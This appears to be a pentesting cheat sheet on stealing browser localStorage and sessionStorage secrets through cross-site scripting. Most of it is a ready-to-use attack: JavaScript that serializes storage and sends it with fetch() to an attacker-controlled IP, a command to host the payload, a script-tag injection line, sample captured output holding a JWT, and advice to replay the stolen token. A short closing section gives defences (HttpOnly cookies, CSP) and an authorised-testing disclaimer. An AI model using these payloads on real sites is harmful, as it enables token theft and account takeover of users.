XSS — Stealing Local & Session Storage Secrets
What’s Stored There?
Modern web apps frequently store sensitive data client-side:
- JWT access tokens
- API keys
- User profile data
- Feature flags with internal info
Both localStorage (persists across tabs/sessions) and sessionStorage (tab-scoped) are readable by any JavaScript on the same origin — including yours via XSS.
Local Storage Payload
Step 1 — Create xss.js:
let data = JSON.stringify(localStorage)
let encodeData = encodeURIComponent(data)
fetch("http://192.168.XX.XX/exfil?data=" + encodeData)
Step 2 — Start server:
python3 -m http.server 80
Step 3 — Submit:
<script src="http://192.168.XX.XX/xss.js"></script>
Session Storage Payload
let data = JSON.stringify(sessionStorage)
let encodeData = encodeURIComponent(data)
fetch("http://192.168.49.129/exfil?data=" + encodeData)
What You Get
GET /exfil?data=%7B%22token%22%3A%22eyJhbGciOiJIUzI1NiJ9...%22%7D HTTP/1.1
Decode it and you’ll find the raw JWT or API token. Replay it directly against the API — no password needed.
Fix: Never store sensitive tokens in localStorage or sessionStorage. Use HttpOnly cookies for session tokens. Implement CSP to restrict script execution sources.
All payloads documented for authorised security testing only. Do not use against systems without explicit written permission.